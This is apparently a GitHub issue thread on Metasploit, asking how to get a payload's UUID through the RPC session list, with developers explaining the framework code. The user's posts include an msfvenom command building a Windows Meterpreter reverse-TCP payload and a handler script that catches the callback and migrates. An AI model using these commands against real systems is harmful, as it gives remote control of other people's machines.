fetch and use the value of PayloadUUIDxx (xx like as PayloadUUIDRaw) in MSF-RPC

[alimp5]

Hi Metasploit development team,

OS: Kali Linux

Version Framework Version: 4.13.14-dev (installed via apt-get ...)

I used below commands and parameters: First:

root@kali: msfvenom -p windows/meterpreter/reverse_tcp_uuid LHOST=192.168.1.20 LPORT=4444 PayloadUUIDTracking=true PayloadUUIDRaw=0011223344556677 ....................

Second:

root@kali: cat msgRPC.rc:
load msgrpc User=msf Pass='456789'
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp_uuid
set InitialAutoRunScript "post/windows/manage/migrate"
set ReverseConnectRetries 7
set PayloadUUIDTracking true
set SessionCommunicationTimeout 2000
set LHOST 192.168.1.20
set LPORT 4444
set ExitOnSession false
exploit -j -z

Third:

root@kali: msfconsole -r msgRPC.rc

My Problem: I want to fetch and use the value of PayloadUUIDRaw parameter in my own python script.

when i pass the session.list CMD to metasploit-RPC, I just will receive the below parameters and values:

 Here: {'info': 'ASUS-WIN7-PC\\linux-win7 @ ASUS-WIN7-PC', 'username': 'root', 'session_port': 49162, 'via_payload': 'payload/windows/meterpreter/reverse_tcp_uuid', 'uuid': 'gtbpvbno', 'tunnel_local': '192.168.1.20:4444', 'via_exploit': 'exploit/multi/handler', 'exploit_uuid': 'bupi5m19', 'tunnel_peer': '192.168.1.17:49162', 'platform': 'windows', 'workspace': 'default', 'routes': '', 'target_host': '', 'type': 'meterpreter', 'session_host': '192.168.1.17', 'desc': 'Meterpreter'}

I want to have the value of PayloadUUIDRaw in result of session.list CMD.

How to fetch this value(PayloadUUIDRaw; for example>> here is 0011223344556677) and use it in my python-2.x script ??? Also, i don't want to run uuid command on each or all sessions for obtaining the PayloadUUIDRaw; It waste time and resources (Bandwidth + RAM + CPU + I/O + ....)

msf exploit(handler)> sessions -l -v
Active sessions
===============
  Session ID: 1
        Type: meterpreter windows
        Info: ASUS-WIN7-PC\linux-win7 @ ASUS-WIN7-PC
      Tunnel: 192.168.1.20:4444 -> 192.168.1.17:49162 (192.168.1.17)
         Via: exploit/multi/handler
        **UUID: 0011223344556677**/x86=1/windows=1/2017-01-26T02:22:31Z
   MachineID: 8c19cd9a97a056eec34d0fe27e98f002
     CheckIn: 37s ago @ 2017-01-27 04:18:25 -0500
  Registered: Yes

my script: http://www.4shared.com/file/zRcueutfba/alireza4.html

Lib: https://github.com/SpiderLabs/msfrpc/tree/master/python-msfrpc

Please help me, Thanks a lot.

[alimp5]

Also, after gaining access,, I cant see and find this UUID(E.x: 0011223344556677) value in .msf4/payloads.json

ruby-msgpack version: 1.0.0-1 python-msgpack version: 0.4.8-1

and why the value of uuid (result of session.list) is not like uuid in sessions -l -v ???

[busterb]

Hi, is it possible for you to put your script somewhere else? The 4shared link does not appear reliable.

[alimp5]

Dear @busterb

My uploaded python script on Paste-bin - Here you are: https://pastebin.com/3UGj5svg

I'm waiting for a correct solution :( Thanks

[TheNaterz]

I want to have the value of PayloadUUIDRaw in result of session.list CMD.

If this is all you're looking for, this is easy. The uuid value you see in the RPC list refers to the session uuid and not the payload uuid. See below:

def rpc_list
  res = {}
  self.framework.sessions.each do |sess|
    i,s = sess
    res[s.sid] = {
      'type'         => s.type.to_s,
      'tunnel_local' => s.tunnel_local.to_s,
      'tunnel_peer'  => s.tunnel_peer.to_s,
      'via_exploit'  => s.via_exploit.to_s,
      'via_payload'  => s.via_payload.to_s,
      'desc'         => s.desc.to_s,
      'info'         => s.info.to_s,
      'workspace'    => s.workspace.to_s,
      'session_host' => s.session_host.to_s,
      'session_port' => s.session_port.to_i,
      'target_host'  => s.target_host.to_s,
      'username'     => s.username.to_s,
-->'uuid'         => s.uuid.to_s, <--- session uuid
      'exploit_uuid' => s.exploit_uuid.to_s,
      'routes'       => s.routes.join(",")
    }
    if(s.type.to_s == "meterpreter")
      res[s.sid]['platform'] = s.platform.to_s
    end
  end
  res
end

The verbose output you see from msfconsole includes session.payload_uuid. Again, see below:

def self.dump_sessions_verbose(framework, opts={})
  out = "Active sessions\n" +
        "===============\n\n"

  if framework.sessions.length == 0
    out << "No active sessions.\n"
    return out
  end

  framework.sessions.each_sorted do |k|
    session = framework.sessions[k]

    sess_info    = session.info.to_s
    sess_id      = session.sid.to_s
    sess_tunnel  = session.tunnel_to_s + " (#{session.session_host})"
    sess_via     = session.via_exploit.to_s
    sess_type    = session.type.to_s
->sess_uuid    = session.payload_uuid.to_s <--- payload uuid
    sess_puid    = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
    sess_luri    = session.exploit_datastore['LURI'] || ""

    sess_checkin = "<none>"
    sess_machine_id = session.machine_id.to_s
    sess_registration = "No"

    if session.respond_to? :platform
      sess_type << (" " + session.platform)
    end

    if session.respond_to?(:last_checkin) && session.last_checkin
      sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
    end

    if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
      sess_registration = "Yes"
      if uuid_info['name']
        sess_registration << " - Name=\"#{uuid_info['name']}\""
      end
    end

    out << "  Session ID: #{sess_id}\n"
    out << "        Type: #{sess_type}\n"
    out << "        Info: #{sess_info}\n"
    out << "      Tunnel: #{sess_tunnel}\n"
    out << "         Via: #{sess_via}\n"
    out << "        UUID: #{sess_uuid}\n"
    out << "   MachineID: #{sess_machine_id}\n"
    out << "     CheckIn: #{sess_checkin}\n"
    out << "  Registered: #{sess_registration}\n"
    if !sess_luri.empty?
      out << "        LURI: #{sess_luri}\n"
    end

    out << "\n"
  end

  out << "\n"
  return out
end

I have an open PR #8529 which adds the architecture of the payload to the RPC session list. If there's still interest in the payload UUID, we can opt to use that instead since arch appears to be included in this value anyway. @busterb, any thoughts?